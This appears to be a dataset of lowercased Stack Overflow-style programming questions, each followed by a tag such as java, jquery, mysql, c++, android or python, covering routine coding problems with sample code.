does java support creating a type with less properties than a parent type   when <code>class a</code> <strong>extends</strong> <code>class b</code>  <code>a</code> can have more properties than <code>b</code>.    what about <code>class a</code> <strong>extracted from</strong> <code>class b</code>  then <code>class a</code> can only has a subset of properties of <code>class b</code>.    i think this will be useful in some cases.,java
averaging angles  i looked at some solutions here but none provide what i need  so:    i need to average an array of angles(0 to 359.9  no negatives) (a1 + a2 + a3 + an) / n    the issue is when you get an array {1  359  2  358} the average if you use the formula above is 180  but actually it is supposed to be 0.    any thoughts,.net
how can i get a copy of a arraylist<string>() object instad of a refrence;  if i ge   <pre><code>arraylist&lt;string&gt; mylist; // add some stuff to mylist arraylist&lt;string&gt; copyof=mylist; </code></pre>   copy will be a reference to mylist  thus if i change copyof  mylist will change to. hpw can i make coyyof be a copy of mylist  so if copyof chnages  mylist will not change.,java
jquery - display value of user input live  similar to stack overflow  i m trying to create a <code>jquery</code> method that records and displays the value of what a user enters into an <code>&lt;input type= text &gt;</code> field.   <pre><code>&lt;form&gt;   language:&lt;/br&gt;   &lt;input type= text  language= language &gt;   &lt;input type= submit  value= submit &gt; &lt;/form&gt;  &lt;p&gt; &lt;/p&gt;  &lt;script&gt;   $(document).ready(function () {     $( :text ).keypress(function () {       $( p ).text($( :text ).val());     });   }); &lt;/script&gt; </code></pre>   it accurately records the correct value  but it is one step too slow. if i type in a first character  it doesn t show up  but after i type in a second character  only the first character is recorded. if i type in 3 characters  the first 2 are recorded  etc.    how can i fix this,jquery
i m getting a nosuchmethoderror when setting a font on a textview programically with the new font feature  from this official example <a href= https://developer.android.com/preview/features/working-with-fonts.html  rel= nofollow noreferrer >https://developer.android.com/preview/features/working-with-fonts.html</a> i m trying to set a custom font for a <code>textview</code> which works when set in xml/layout but not when setting it programmatically i get the following error:    <blockquote>    java.lang.nosuchmethoderror: no virtual method   getfont(i)landroid/graphics/typeface; in class   landroid/content/res/resources; or its super classes (declaration of    android.content.res.resources  appears in   /system/framework/framework.jar)  </blockquote>   <strong>this is how i m doing it by code:</strong>   <pre><code>    typeface typeface = getresources().getfont(r.font.morganbold);     providertxv.settypeface(typeface); </code></pre>   is this a bug or i m i doing something wrong     i m using <code>android studio canary 9</code> with gradle version: <code>gradle:3.0.0-alpha9</code> with these support depedencies:   <pre><code> com.android.support:design:26.0.0   com.android.support:appcompat-v7:26.0.0  </code></pre>,android
error with lcc compiler  i am trying to compile the following program in windows but i get an error which i do not understand. i have added the correct libraries and header files  yet i get this error. i am using this lcc win32 compiler.   <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt; #include  genlib.h  #include  stack.h   int main() {     stackadt operandstack;     operandstack = newstack();      return 0; }  stack.obj .text: undefined reference to  _getblock  stack.obj .text: undefined reference to  _freeblock  stack.obj .text: undefined reference to  _error  </code></pre>   any help appreciated     ted,c
mp3play module won t run on os x  i have successfully installed <code>mp3play</code> module with <code>pip</code>  but when i try to run the code below on os x - macos sierra:   <pre><code>import mp3play  f = mp3play.load( button_click.mp3 )  def play_sound():     f.play() play_sound() </code></pre>   i get the following message:   <blockquote>    traceback (most recent call last):   file    /users/larisa/pycharmprojects/kvizmatura/main.py   line 9  in          import mp3play   file  /library/frameworks/python.framework/versions/3.5/lib/python3.5/site-packages/mp3play/<strong>init</strong>.py     line 6  in        raise exception( mp3play can t run on your operating system. ) exception: mp3play can t run on your operating system.  </blockquote>   why can t <code>mp3play</code> run on a mac  what could i use instead  i like this module because it is very easy to use and clean to read. is there any way i can use it on my operating system,python
mysql: update or create entry where submitted date is newer than in db  as in the title said i want to either insert a new value or if its primary key already existant update the row but only if the database value is older than the given new one.    the query is something like this but it has problems with the where statement   <pre><code>insert into mytable(field1_key  field2  datefield) values( val1    val2    2012-12-12 12:12:12 )    on duplicate key update field2= val2  datefield= 2012-12-12 12:12:12  where datefield &lt; 2012-12-12 12:12:12  </code></pre>,mysql
write efficient mysql statement how represent in a different table form  (sorry guys  i think i never specify my requirements properly)   <pre> |origin   |destination |flight_type |price| |melbourne|sydney      |one way     |100  | |melbourne|sydney      |one way     |120  | |melbourne|sydney      |one way     |150  | |melbourne|sydney      |return trip |250  | |melbourne|sydney      |return trip |300  | |melbourne|sydney      |return trip |350  | </pre>   how do i write a most efficient single mysql query to get the lowest price for each way  a table result like below:   <pre> |origin    |destination  |oneway_price(lowest) |return_trip_price(lowest)| |melbourne |sydney       |100                  |250                      | |</pre>   i am thinking of finding the lowest fare for one way(group by origin dest flight type &amp; flight_type = one way)  and left join back to itself with lowest fare for return trip(group by origin dest flight type &amp; flight_type = return) and where has the same origins destinations,mysql
create a dynamic dropdownlist in asp.net  i want to create a dynamic dropdown list in the button click event and the drop downs having the same values    please suggest me to get the solution    thanks in advance,asp.net
this seemingly harmless code does not produce any output  question - find a pythagorean triplet (a b c) such that a+b+c =1000.    this is the code  i wrote it for project euler #9. i know it is a very ineffecient code  but the logic  should  have done the job. the code produces no output at all. i am not sure what is going wrong.   <pre><code>#include&lt;iostream&gt; using namespace std;  int main() {     long long a b c;     for(a=1; a&lt;335; a++)     {         for(b=1;b&lt;335; b++)         {             c = 1000-a-b;             if(a*a + b*b  - c*c == 0)             {                 cout&lt;&lt;a*b*c;             }         }     } } </code></pre>,c++
in objective-c   if an object is referenced more than once  would it be possible to release it   <em><strong>for example  ;</em></strong>   <pre><code>theclass * ainstance = [[theclass alloc] init]; theclass * binstance; binstance = ainstance; [binstance release] </code></pre>   <em><strong>would the memory allocated by ainstance be freed in this case </em></strong>,objective-c
does not autoresize when device is rotated after loading nibfromfile  i have the following question:    i got some code that gets called when an user logs in. the code has to call another view controller and has to show another view. to show to new view  i got the following code:   <pre><code>[scrollview removefromsuperview];  form1 *formcontroller1 = [[form1 alloc] initwithnibname:@ form1  bundle:[nsbundle     mainbundle]];  [self.view setautoresizessubviews:yes];  [self.view addsubview:formcontroller1.view];  [scrollview release]; </code></pre>   the problem is  when the other view is loaded and i rotate the device  the view of the new nib is not resizing correctly.    edit:    i wasn t dismissing the current viewcontroller so some properties remained. what i did is this:   <pre><code>[scrollview removefromsuperview];  [self dismissmodalviewcontrolleranimated:yes];  form1 *formcontroller = [[form1 alloc] init];  [self presentmodalviewcontroller:formcontroller animated:yes];  [scrollview release]; </code></pre>,objective-c
how do i trigger a form submission on page load using jquery  this doesn t seem like it should be too difficult to accomplish  but i m in a rush and i have been looking for a simple answer. i need to submit a form on page load. this is my ajax submit function which works fine. i just need to figure out how to trigger it on page load.    any help is much appreciated!   <pre><code>$( form#seller-agreement-form ).submit(function() {           // we want to store the values from the form input box  then send via ajax below             $.ajax({               type:  post                 url:  http://www2.myurl.com/formhandler                 data:  email= + email +  &amp;status=  + status                success: function(){                   $( form#seller-agreement-form ).hide(function(){$( div#output ).fadein();});                }           });       return false;       }); </code></pre>,jquery
how to calculate trigonometric ratio using series sinx = x - (x3/3)!  + (x5/5)i - (x7/7)! + a in c program  i want to calculate trigonometric ratio in c using series   <pre><code> sinx = x - x3/3! + x5/5! - x7/7! + a  </code></pre>   and want to compare my result with standard math lib function. where a = constant    any hint,c
i can create 100% abstraction using abstract class then why should i use interface   actually  i face this issue at the time of interview. one of the interviewers asks me a question.,java
expiring rails fragment cache from external applicaction  i have a rails application with database that is updated from external c++ program. i d like to speed up the app using fragment caching but when a record is updated a coresponding fragment cache entry needs to be expired. any ideas,ruby-on-rails
why this program always shows u at the end  i have created following c code for encrypt words.(caesar cipher) when i run this it prints u at the end always.if you run this you will see it.   <pre><code>#include&lt;stdio.h&gt;  int main(void){     int x;     char en[100];      fgets(en 100 stdin);     for(x=0;x&lt;100;x++){         if(en[x]== \0 ){             break;         }         en[x]=((en[x]-71-3)%26)+97;     }     printf( %s\n  en); } </code></pre>,c
how to get particular column in zend using left join  i am new to zend framework     following is the plain mysql query which takes particular column from table    <pre><code>select jobs_users.id jobs_users.first_name from jobs_users left join friends on jobs_users.id=friends.friend_id where friends.member_id=29 </code></pre>   i tried with zend to implement the above query like below    <pre><code>public function getfriendsprofilelist($id){             $db = zend_db_table::getdefaultadapter();  $select = $db-&gt;select(); $select-&gt;from( jobs_users )         -&gt;joinleft(                  friends                    jobs_users.id=friends.friend_id                   array( jobs_users.id   jobs_users.first_name   jobs_users.last_name   jobs_users.photo )                 )         -&gt;where( friends.member_id =     $id); $result = $db-&gt;fetchall($select); return $result;      } </code></pre>   here i got result with all column name   not with exact column name which i have given in query.    kindly help me on this.,sql
on page load clone first image from collection of photos  on my page i m getting collection of photos  and i store them as thumbs below showimage div which needs to be refreshed with cloned image onclick. <strong>basically everything is ok except i need to populate this showimage div onpage load with first image</strong>  and then to use this onclick clone which already works.   <pre><code>&lt;a href= /property/getimage/someintid &gt;   &lt;img id= someintid  class= details  width= 100  height= 100  src= /property/getimage/7  alt=  &gt; &lt;/a&gt;  function onpopup() {         $( .details ).click(function (event) {             //clone the clicked image             var clone = $(this).clone();             clone.height( 250px ).width( 280px );             //place it in the placeholder             $( div#showimage ).html(clone);         });     } </code></pre>,jquery
mysql - select where at least 1 of the 4 cols is different  could someone tell me how to make an sql query that selects all rows where at least 1 of 4 columns is different from the previous rows. i want the same you do with a group only then affecting multiple columns. when i use:   <pre><code>select * from table group by col1  col2  col3  col4  </code></pre>   i don t get the result i want because the columns are grouped after each other   <pre><code>col1  col2  col3  col4  1     2     2     4 1     2     2     3   &lt;-- different -&gt; select 1     2     3     2   &lt;-- different -&gt; select 1     2     3     2   &lt;-- don t select 2     2     3     4   &lt;-- different -&gt; select </code></pre>   i don t want the 1 2 3 2 column 2 times and decide which one top pick based on a 5th column    <strong>-- edit --</strong>    sample data sqlfiddle: <a href= http://sqlfiddle.com/#!2/efd92e  rel= nofollow >http://sqlfiddle.com/#!2/efd92e</a> in this sample i want these rows returned   <pre><code>insert into tablename values ( t   12  1000  0  500  20.25); (4)* insert into tablename values ( h   12  150  2500  100  45);  (0)* insert into tablename values ( h   12  100  2500  100  45);  (2)* </code></pre>   *if it is possible  i also would like to know the number rows that not selected because they are  duplicated .     i tried to write an query based on one of the awnser but no success yet    <strong>-- clarification --</strong>   <ul> <li>the combination of the 5 cols has to be unique.</li> <li>i need the row of the duplicates with the lowest col6.</li> <li>i want to know how many duplicates of this row are in the database</li> </ul>   thanks in advance for the help,mysql
weird behavior when loading string from input  i m trying to write a function  that shall send some message to the server. sending the message works quite fine  neverthless i m not able to load the message from standard input with spaces...so when i  type <code> hello world! </code>  then i get as an output this:   <pre><code>*******hello******** *******world!******** </code></pre>   i m quite new to <code>c++</code> and this behavior is quite surprising to me. would anybody explain me  why is this so  and how to fix it    <pre><code>void * client::sendmessage(void *threadid) {     string message;     const char * c;     char buffer[200];     int fd = (long) threadid;     while (true) {         cin &gt;&gt; message;         if (message ==  exit ) {             break;         }         cout&lt;&lt; ******* &lt;&lt;message&lt;&lt; ******** &lt;&lt;endl;          c = message.c_str();         strncpy(buffer  c  sizeof ( buffer));                send(fd  buffer  strlen(buffer)  0);     } } </code></pre>,c++
calculating inverse trigonometric functions  i want to find out sin⁻¹ values. for that purpose initially  i am converting radians into degrees using macro `   <pre><code>#define degrees(radians) (radians * 180 / m_pi) </code></pre>   and then after using asin() function to find out sin inverse values as below `   <pre><code>double trig;   trig = [currentval doublevalue];   display.text = [nsstring stringwithformat:@ %g   asin(degrees(trig)) ]; </code></pre>   it is displaying double value because of using format specifier as double value. but i want to display in degrees      any one could help me plz,objective-c
call programmer defined constructor inside overloaded construcor  i am trying to call a programmer defined default constructor inside of an overloaded 3 argument constructor. when i create an instance of my date class  i pass it 3 arguments  the overloaded constructor then passes those params to a validate function. if the return value is false  i want to call my default constructor inside my overloaded constructor  but i get garbage values.  <code>1/-858993460/-858993460</code> is it okay to call constructor within constructor    <pre><code>//test.cpp  int main () {     date d1(m  d  y); }  //header class date { private:     string month;     int day  year;     bool validatedate(string  int  int);     //date(); public:     date();     date(string  int  int);     void print(dateformat type); };  //implmentation date::date() : month( january )  day(1)  year(2001) { cout &lt;&lt;  inside const  &lt;&lt; endl; } //default constructor  date::date(string m  int d  int y)  //overloaded constructor {     if (!validatedate(m  d  y))     {         cout &lt;&lt;  if false  &lt;&lt; endl;         //date(); //this doesn t work         date d1;  //this doesn t work as well     }     else     {         month = m;         day = d;         year = y;         cout &lt;&lt;  month is :  &lt;&lt; month &lt;&lt;   day is:   &lt;&lt; day &lt;&lt;   year is:   &lt;&lt; year &lt;&lt; endl;     } } </code></pre>,c++
rails: get image source after asset precompile  currently i do this for my website   <pre><code>image_tag( logo.png ) </code></pre>   this results    <pre><code>&lt;img src= /assets/logo-c9dc9867ad75fdidmjdoehdo53di.png  alt= logo  /&gt; </code></pre>   this works just fine for me. but sometimes i just need the source part of the image i.e i just need this part <code>/assets/logo-c9dc9867ad75fdidmjdoehdo53di.png</code>. how can i get it,ruby-on-rails
how to convert date string (8 august 2012) to number format( 08 08 2012)   hi how to convert the string format date to number format      <pre><code>$bd=$row[dateofb]; o/p:08 august 2012  </code></pre>   but how to convert the above sting to 08/08/1212,php
how to use phpmodbus host client port client_port $unitid $reference $quantity  i have a modbus device and i donot know how to using the phpmodbus to connect it.   <pre><code>   public $host =  192.168.1.110 ;    public $port =  5000 ;      public $client =  192.168.1.102 ;    public $client_port =  54786 ;     * @param int $unitid usually id of modbus device     * @param int $reference reference in the device memory to read data (e.g. in device wago 750-841  memory mw0 starts at address 12288).    * @param int $quantity amounth of the data to be read from device. </code></pre>   who can help me know how to write the paramater thanks   <pre><code> readmultipleregisters: start  bound  connected  packet: ef0e0000000601030400000c  send  wait data ...   wait data ...   wait data ...   wait data ...   wait data ...   wait data ...   wait data ...   wait data ...   wait data ...   wait data ...   wait data ...   exception  exception  with message  watchdog time expired [ 5 sec]!!! connection to 192.168.1.110 is not established.  </code></pre>   <a href= https://i.stack.imgur.com/abbyt.jpg  rel= nofollow noreferrer >picture 1</a> <a href= https://i.stack.imgur.com/udggk.jpg  rel= nofollow noreferrer >picture 2</a>,php
multi-colored text using only css  i m not sure if my title coherently expressed my issue  but i ll explain below.    i would like to assign a different color to each <strong>character</strong> in a string of text using <strong>only</strong> css.    to see a visual of my issue with further explanations: <a href= http://codepen.io/connor3xl/pen/zoyzjk  rel= nofollow >http://codepen.io/connor3xl/pen/zoyzjk</a>    i cannot use this  and it s a bit time consuming anyways:   <pre><code>&lt;!--i don t want this  and i cannot use it--&gt; &lt;span style= font-family: tahoma &gt; &lt;span style= color: red &gt;u&lt;/span&gt; &lt;span style= color: blue &gt;s&lt;/span&gt; &lt;span style= color: red &gt;e&lt;/span&gt; &lt;span style= color: blue &gt;r&lt;/span&gt; &lt;span style= color: red &gt;n&lt;/span&gt; &lt;span style= color: blue &gt;a&lt;/span&gt; &lt;span style= color: red &gt;m&lt;/span&gt; &lt;span style= color: blue &gt;e&lt;/span&gt; &lt;/span&gt; </code></pre>   i want this and can only use this:   <pre><code>&lt;span class= username &gt;username&lt;/div&gt; </code></pre>   where  username  would be defined by css. that css is what i need. this would also obviously have the same effect as the html version.    the reason i need it to be only in css is because i m using this code on xenforo usernames. i ve seen it done before  so i know it is very well possible. i ve googled for about half an hour  experimented with gradients  couldn t duplicate it. i m hoping somebody out there can help.,css
open the iphone camera   we need to open the iphone camera  to take images that will be saved to the camera roll.    i have read many examples here that all of them opens the <code>uiimagepickerview</code>. besides the fact that i cant understand why i have to open the picker view in order to open the camera   i just can t do that- i dont want the picker view  because i have my costumed photo album that we build  and we just need to have a little button in it  that opens the camera to take an image . without opening any other views above it .    is that possible to use the camera without this pickerview that will cover my scene   or can i lead the user to the camera app and than take him back to my app   thanks.,objective-c
why does the c89 library not contain functions to create/delete/rename/remove a directory   i apologize for my bad english.    why does the c89 library not contain functions to create/delete/rename/remove a directory  or maybe i didn t find that  i see functions for some file operations only  but not for directories.    thank you best regards,c
customize the  standard  page list gadget on blogger  how can i remove the highlight effect on the menu tab that i´m on  but still have  a mouse-over effect on the items,css
back button and last activity  my app chains some activities.     if you press the back button  you go back through old activities then you suddenly quit the application !    so i need to show a message like  do you really want to exit  if it s the last activity on stack    i know how to override the back button but i can t figure how to know how many activity are in history   <pre><code>@override public boolean onkeydown(int keycode  keyevent event)  {     if (keycode == keyevent.keycode_back &amp;&amp; event.getrepeatcount() == 0) {         // is it the last activity on stack            // so show confirm dialog         return true;     }      return super.onkeydown(keycode  event); } </code></pre>   please help.,android
unique responses rails gem  i like to determine if a visitor has already submitted a form.     i was thinking of doing a couple of things:   <ul> <li>cookie</li> <li>ipaddress</li> <li>requiring login (much less desirable since the signup barrier might dissuade visitors)</li> </ul>   is there a ror gem for this  if so please post a link.     thanks,ruby-on-rails
c++ undeclared identifier - error c2065  this is most likely a simple mistake  but i just need to know what to define <code>colour</code> as and how to do it in this program. (i ve created a <code>colour.h</code> file  and placed it into the source files folder  but written nothing in it yet.)    the error states that <code>error c2065:  colour : undeclared identifier</code>    here is the section of code in which the error is occurring:   <pre><code>enum class traffic_light { green  yellow  red }; traffic_light light = traffic_light::red;   traffic_light&amp; operator++(traffic_light &amp;colour);      switch (colour) {     case traffic_light::green:{                                   cout &lt;&lt;  green\n ;                                   return colour = traffic_light::yellow;     }     case traffic_light::yellow: {                                     cout &lt;&lt;  yellow\n ;                                     return colour = traffic_light::red;     }     case traffic_light::red:{                                 cout &lt;&lt;  red\n ;                                 return colour = traffic_light::green;     } }  traffic_light next = ++light;     cout &lt;&lt;   &lt;&lt; next &lt;&lt; \n ; } </code></pre>   the error occurs at line 13: <code>switch (colour) {</code>    edit: the semicolon after traffic_light&amp; operator++(traffic_light &amp;colour); is required  as the piece of code is part of main(). removing main  means the semicolon is not required  however gives a linker error.,c++
html divs making stuff go down   edit: fixed i changed it to     this is my code   <pre><code>account type: &lt;div id= accounttype  class=inline-block &gt;&lt;strong&gt;&lt; =$_session[ accounttype ] &gt;&lt;/strong&gt;&lt;/div&gt; </code></pre>   now on my site it shows like this    <pre><code>account type: personal </code></pre>   but without the div it shows like this   <pre><code>account type: personal </code></pre>   how can i make it with the div show like this   <pre><code>account type: personal </code></pre>,html
dynamic variable in loop javascript  i want to create a dynamic variable in the loop. i found something about eval and window but i don t know how to use this.    this is my loop and i want to create a 9 variables names from m1 to m9. i mean that the name of variable must be m1 to m9   <pre><code>for(i=1; i&lt;10; i++){    var m+i =  something   } </code></pre>   please help me with this. really appreciate.,javascript
uninitialized constant sprockets::bootstrap  i get this error when i try to precompile my asset with the commande   rake assets:precompile  i start getting this error when i have  install the gem  turbo-sprockets-rails  i using rails 4.0.0 and ruby 2.2.3. can someone help me please.    i have gem uglifier -v 2.7.2    my gemfile :   <pre><code>    source  https://rubygems.org   # bundle edge rails instead: gem  rails   github:  rails/rails  gem  rails    4.0.0  #gem  minitest    5.8.3  # use mysql as the database for active record gem  mysql2    0.3.20  gem  wicked_pdf  gem  rack   ~&gt; 1.5.5  #upload images gem  paperclip   ~&gt; 4.2  #gem  aws-sdk-v1  #gem  carrierware  # use scss for stylesheets gem  sass-rails    4.0.1  gem  sass    3.2.19  #gem  bootstrap-sass    2.3.2.0  #gem  materialize-sass    0.97.3  gem  sprockets    2.11.0  gem  turbo-sprockets-rails3  gem  sprockets-rails    2.0.1  # use uglifier as compressor for javascript assets gem  uglifier    &gt;= 1.3.0   # use coffeescript for .js.coffee assets and views gem  coffee-rails    ~&gt; 4.0.0  #gestion de privilège : gem  declarative_authorization   0.5.7  # see https://github.com/sstephenson/execjs#readme for more supported runtimes # gem  therubyracer   platforms: :ruby  # use jquery as the javascript library gem  jquery-rails   # turbolinks makes following links in your web application faster. read more: https://github.com/rails/turbolinks gem  turbolinks   # build json apis with ease. read more: https://github.com/rails/jbuilder gem  jbuilder    ~&gt; 1.2  gem  json    1.8.3   group :doc do   # bundle exec rake doc:rails generates the api under doc/api.   gem  sdoc   require: false end  # use activemodel has_secure_password # gem  bcrypt-ruby    ~&gt; 3.0.0   # use unicorn as the app server # gem  unicorn  # use capistrano for deployment # gem  capistrano   group: evelopment  # use debugger # gem  debugger   group: [evelopment  :test] </code></pre>   when i remove the gem turbo-sprockets-rails in my gemfile the command works well but in my views  my css and javascript are not walking,ruby-on-rails
purpose of service intent-filter inside manifest.xml  from android developers :  components(service) advertise their capabilities — the kinds of intents they can respond to — through intent filters.    i just cant understand the purpose of intent filter inside service in the manifest.xml  what is the capability here    <pre><code>&lt;service     android:name= com.x.y      android:enabled= true      android:exported= true  &gt;     &lt;intent-filter&gt;         &lt;action android:name= com.x.y  /&gt;     &lt;/intent-filter&gt; &lt;/service&gt; </code></pre>   and what s he difference if i remove the intent-filter    <pre><code> &lt;service        android:name= com.x.y   &lt;/service&gt; </code></pre>   thanks.,android
bottom to top animation example  i need to show the next image with bottom up animation in uiviewcontroller.    how can i do it     thanks in advance.,iphone
strong examples of tech startups going (or staying) with .net   i am looking for specific examples of vibrant  <em>acquirable</em> (or acquired) tech concerns  especially startups  that chose to build on the microsoft stack and either succeeded or appear likely to.    writely is an obvious example  as is newsgator  pageflakes  and stackoverflow itself.     i don t mean this to be a language debate. i hope the question is not too subjective for so; i and the team i work with have benefited greatly from the solutions to coding quandaries that can be found here  and i expect that the people who could best answer the question frequent this site.     to make the question a little more specific  let s say you are a .net expert and a member of a startup who is at a turning point. that turning point may or may not involve a shift in platforms. avoiding subjective arguments  what quantifiable examples - companies or case studies - can you point to in favor of going or staying with .net  (extra points for examples in the valley.),.net
controlling computer hardware using python  i m a  beginner programmer . i want to build an os using python and assembly . and for that i guess i will have to control the hardware. my question is   is it possible to control computer s hardware parts using python .,python
slow mysql query using count and left join  i m using the following query the count records and display records in mysql.  while it displays fine and works correctly it is very slow.  i think this is in part due to the htg_schedulerequest table being very large.  is there a better way to arrange this query to speed this up    <pre><code>select htg_techprops.empnumber          htg_techprops.empfirstname          htg_techprops.emplastname           htg_techprops.veh_number         count(htg_schedulerequest.id) as current_job      from htg_techprops          left join htg_schedulerequest              on htg_techprops.empnumber = htg_schedulerequest.ssr                  and (htg_schedulerequest.scheduledatecurrent = curdate())                  and htg_schedulerequest.jobstatus =  3       group by htg_techprops.empnumber      order by htg_techprops.empnumber asc </code></pre>,mysql
typeerror:  int  object is not iterable shape drawing  hey everyone i am trying to learn python and am currently trying to write a program to draw different shapes. everything is working except the part where i define drawshapes at the end i get an error:   <pre><code>traceback (most recent call last):   file  /users/seanrose/desktop/homework 4-1.py   line 126  in &lt;module&gt;     drawshapes(nick  allshapes[i])   file  /users/seanrose/desktop/homework 4-1.py   line 121  in drawshapes     for i in (numberofside): typeerror:  int  object is not iterable </code></pre>   can anyone help     <a href= http://imgur.com/9zvmtx4 5ztqcrx  rel= nofollow >http://imgur.com/9zvmtx4 5ztqcrx</a> sorry here is an image to the code    or here is the part that isnt working      wn = turtle.screen()     nick = turtle.turtle()     nick.color(penco)     nick.pensize(penwid)     wn.bgcolor(bcco)   <pre><code>def drawshapes(t  typeofshape): totaldegrees = typeofshape[0] numberofside = typeofshape[1] lengthofsides = typeofshape[2] whatkindofshape = typeofshape[3] t.write(whatkindofshape) for i in (numberofside):     t.forward(lengthofsides)     t.left(totaldegrees/numberofside)  for i in range(len(allshapes)): drawshapes(nick  allshapes[i]) </code></pre>,python
php replace string allow only a-z a-z 0-9 _ and . (dot)  i am working on registration and i need to check if username is valid a-z a-z 0-9 _ and . (dot). how to do this in php,php
horizontal scrollbar to certain columns  in my table there are certain columns..i want to give horizontal scrollbar to last 5 columns as a whole..that means there will be only one scroll bar for 5 columns.. i want functionality that if no. of column increases scroll bar should appear. there are total 9 columns in table.. how to do it  please help.,html
something with __new__ and property  i try to understand the following code from some opensource github project. there is a class without <code>__init__</code> but with a <code>__new__</code> method. the code is given as:   <pre><code>class node(object):     #pylint: disable=w0404      #singleton-pattern     _instances = dict()      def __new__(cls  name=none):             instanciates a node from a file  and (name=none) creates a new node              caution: filenames are always given relative to the root-dir             when no name is given  a new node is created.              if(name!=none and cls._instances.has_key(name)):             return(cls._instances[name])          if(name==none):  # a new node  lets find a name             for i in itertools.count(0):                 name =  node%.4d %i                 if(cls._instances.has_key(name)): continue# new nodes might not been saved  yet                 if(path.exists( ./nodes/ +name)): continue                 break           self = object.__new__(cls)         cls._instances[name] = self          #actuall init-code         from zibmolpy.pool import pool #avoids circular imports         self._pool = pool() #pool is a singleton         self._name = name         self._tmp = store() #for thing that need to be stored temporarly         self._obs = store()         self.parent = none          if(path.exists(self.dir)):             self.reload()          #self.pool.append(self) #register with pool         return(self)      #---------------------------------------------------------------------------     @property     def obs(self):         return(self._obs) </code></pre>   i found one discussion beween the <code>__init__</code> method and the <code>__new__</code> method at <a href= https://stackoverflow.com/questions/674304/pythons-use-of-new-and-init >python&#39;s use of __new__ and __init__ </a> according to the highest rated comment  one should only use new if one is subclassing an immutable type like <code>str</code>  <code>int</code>  <code>unicode</code> or <code>tuple</code>. but i think here it is used for some other reason. further more i don t understand why the class <code>cls</code> should have a name (and why it should have anything todo with some folders) and why i can call    <pre><code>n= node() n.obs </code></pre>   like the function obs would be a property function  but it is actually not..    i am confused. if your not  i cant wait for your respond.,python
how to sum a cell and the surround cells within a matrix  i want to sum cells. i mean  surrounding cells. add the cell i call upon and add that value with values around it. this is what i have so far.   <pre><code>import java.util.arrays; import static java.lang.system.*;  public class matrixsummingrunner {     public static void main(string args[]) {          int[][] mat = { { 0  1  0  0  0  1  0 }  { 1  8  4  3  4  5  1 }                  { 0  2  7  8  9  8  0 }  { 0  6  7  6  2  5  0 }                  { 0  6  7  8  9  5  0 }  { 1  5  4  3  2  3  1 }                  { 0  1  0  0  0  1  0 } };         out.println( sum of the given values  at {4 2} and the values around it                  + matrixsumming(mat  4  2));         out.println( sum of the given values  at {3 3} and the values around it                  + matrixsumming(mat  3  3));         out.println( sum of the given values  at {5 4} and the values around it                  + matrixsumming(mat  5  4));         out.println(tostring(mat));     } } </code></pre>   that s the runner  and now what i thought would work.   <pre><code>import java.util.*;  public class matrixsumming {     private int[][] m = { { 4  2 }  { 3  3 }  { 5  4 } }; // load in the matrix                                                           // values      public int sum(int[][] mat  int x  int y) {         int sum = 0;         for (int item : mat) {             sum = getvalueat(x  y) + getvalueat(x++  y) + getvalueat(x--  y)                     + getvalueat(x--  y++) + getvalueat(x--  y--)                     + getvalueat(x++  y++) + getvalueat(x++  y--);         }          return sum;     } } </code></pre>   apparently that didn t work. it s counting them as individual variables  causing a massive problem for me...,java
html source showing extra   tags  here you will see  duration:50hrs.now if you debug this using firebug  you will see extra <code>&lt;p&gt;&lt;/p&gt;</code> tags after 50 hrs  whereas in actual html i made  duration:50 hrs  inside p tags    please point out the reason.,html
how to kill off a program with cin.fail()  so i m trying to make a condition so that if the user inputs anything besides an integer the program will terminate. whenever i put let s say the letter a the program repeatedly outputs zero. i think its exit() thats the issue but when i substitute it i have the same problem. advice    <pre><code>#include &lt;iostream&gt; #include &lt;cctype&gt; #include &lt;cstdlib&gt;   using namespace std; void even(int); void odd(int); int main() {     int i;     do{         cout &lt;&lt;  enter an integer  &lt;&lt; endl;         cin &gt;&gt; i;         if(i % 2 == 0)             even(i);         else if (i % 2 == 1)             odd(i);         else if (cin.fail())             exit (0);     }while(!isdigit(i));      return (0); } void even(int i) {     cout &lt;&lt; i &lt;&lt; endl; } void odd (int i) {     //nothing here } </code></pre>,c++
how to publish an almost identical version of my android app in a different location  i have released an android app downloadable in the uk  but i wish to release a (very slightly different) version of the app for the u.s. currently i believe i need to do the following for the new version of the app ...    <strong>1.</strong> change the  package  attribute in the manifest file to something different.    <strong>2.</strong> ensure that on google play only the us can download the app.    is there anything else i am yet to discover i need to do  or any other problems i am yet to consider     <strong>edit 19th july 13:19 gmt</strong> - i am currently warming towards using telephonymanager.getnetworkcountryiso() as an initial country guess  and falling back on the locale if this fails (because of no sim card). what do people think  using gps is also an option though  but is that overkill,android
object  does not contain a definition for  dispose   <code>protected override void dispose(bool disposing)</code>    in the line above i am getting an error.    the error is:   <pre><code>windowformapplication.form1.dispose(bool): not suitable method found to override </code></pre>,c#
what the best way to display a default text in textbixes and textareas  a form on my website s contact -us html page has two fields    1) subject    2) message    when the page loads for the first time i want these two boxes to display messages like  <strong>enter subject here</strong>  and  <strong>enter message here</strong> .    i found that we can do this by using the  value  attribute of the text box  is this the best way   .. what alternatives do i have to achieve this,html
jquerypopup with json  i have a php action through which i process the request from ajax and pass it as json. in success response  i should open the pop up which should contain <code>json</code> response   <pre><code>$.ajax({     url:  http://localhost/feedback/public/index/email/       type:  post       data: {         emaildata: emailid     }      datatype:  json       success: function (data) {         $( div#pop-up ).show();         $( .closebtn ).click(function () {             $( div#pop-up ).css( display    none );         })     } }); </code></pre>   my html div has    <pre><code>&lt;div id= pop-up &gt;     &lt;input type= button  class= closebtn  value= close  /&gt;firstname&lt;/br&gt;lastname&lt;/br&gt;emailid&lt;/br&gt;comments&lt;/br&gt; &lt;/div&gt; </code></pre>   i want the data from ajax response to get append with this.i really     dont know what todo.i am not able to use for loop also in my     html since i m exit my controller in last line.below is my     controller.    php controller   <pre><code>foreach($result as $row)          {      $arrvalues = array(          firstname =&gt;$row[ firstname ]            lastname =&gt;$row[ lastname ]           emailid =&gt;$row[ emailid ]     );              }    $this-&gt;view-&gt;data=$arrvalues;   echo json_encode(array( rows =&gt;$arrvalues));     exit; </code></pre>   could you please suggest a better way for me to format the pop up     with the json data in a better way,jquery
